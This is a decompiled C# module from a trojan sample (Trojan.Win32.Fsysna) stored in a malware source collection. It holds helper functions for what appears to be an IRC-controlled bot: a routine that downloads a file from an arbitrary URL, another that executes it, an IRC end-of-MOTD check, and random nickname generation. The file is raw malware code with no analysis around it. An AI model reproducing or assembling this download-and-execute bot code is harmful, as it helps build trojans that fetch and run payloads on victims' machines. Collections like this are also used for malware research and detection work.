MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01/modFunction.cs

// Decompiled with JetBrains decompiler
// Type: Refx.modFunction
// Assembly: Refx, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 5DD4C44F-C748-4813-B398-D3DE520CF41A
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.bezr-e553a7902dd2b2c973a97028cc8dc7f1bb82c18b1266abf90d2140ec0b5b3a01.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Refx.My;
using System;
using System.Diagnostics;

namespace Refx
{
  [StandardModule]
  internal sealed class modFunction
  {
    public static bool WildcardCompare(string MatchStr, string RawDATA)
    {
      bool flag1;
      try
      {
        if (RawDATA.Contains("!"))
        {
          string[] strArray = Strings.Split(RawDATA, "!");
          bool flag2 = LikeOperator.LikeString(strArray[1], MatchStr, CompareMethod.Binary);
          strArray[0] = Strings.Replace(strArray[0], ":", "");
          bool flag3 = LikeOperator.LikeString(strArray[0], MatchStr, CompareMethod.Binary);
          flag1 = flag2 | flag3;
        }
        else
          flag1 = false;
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        flag1 = false;
        ProjectData.ClearProjectError();
      }
      return flag1;
    }

    public static bool DownloadFile(string LinkFile, string DestFile)
    {
      bool flag;
      try
      {
        MyProject.Computer.Network.DownloadFile(LinkFile, DestFile);
        flag = true;
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        flag = false;
        ProjectData.ClearProjectError();
      }
      return flag;
    }

    public static bool RunFile(string Executefile)
    {
      bool flag;
      try
      {
        Process.Start(Executefile);
        flag = true;
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        flag = false;
        ProjectData.ClearProjectError();
      }
      return flag;
    }

    public static void Addlog(string Text) => Console.Write("* " + Text + "\r\n");

    public static bool JoinDelayTest(string Indata)
    {
      bool flag;
      try
      {
        string[] strArray = Strings.Split(Indata);
        flag = Information.UBound((Array) strArray) > 0 && Operators.CompareString(strArray[1], "376", false) == 0;
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        flag = false;
        ProjectData.ClearProjectError();
      }
      return flag;
    }

    public static string GenerateString(int length, int sequence, int casing = 0)
    {
      Random random1 = new Random();
      Random random2 = new Random();
      string str = "abcdefghijklmnopqrstuvwxyz";
      string upper = str.ToUpper();
      string empty = string.Empty;
      while (empty.Length != length)
      {
        char minValue;
        switch (casing)
        {
          case 0:
            switch (random1.Next(0, 2))
            {
              case 0:
                minValue = Conversions.ToChar(str.Substring(random2.Next(0, 25), 1));
                break;
              case 1:
                minValue = Conversions.ToChar(upper.Substring(random2.Next(0, 25), 1));
                break;
            }
            break;
          case 1:
            minValue = Conversions.ToChar(upper.Substring(random2.Next(0, 25), 1));
            break;
          case 2:
            minValue = Conversions.ToChar(str.Substring(random2.Next(0, 25), 1));
            break;
        }
        switch (sequence)
        {
          case 0:
            switch (random1.Next(0, 2))
            {
              case 0:
                empty += Conversions.ToString(random2.Next(0, 9));
                break;
              case 1:
                empty += Conversions.ToString(minValue);
                minValue = char.MinValue;
                break;
            }
            break;
          case 1:
            empty += Conversions.ToString(random2.Next(0, 9));
            break;
          case 2:
            empty += Conversions.ToString(minValue);
            break;
        }
      }
      return "R" + empty;
    }
  }
}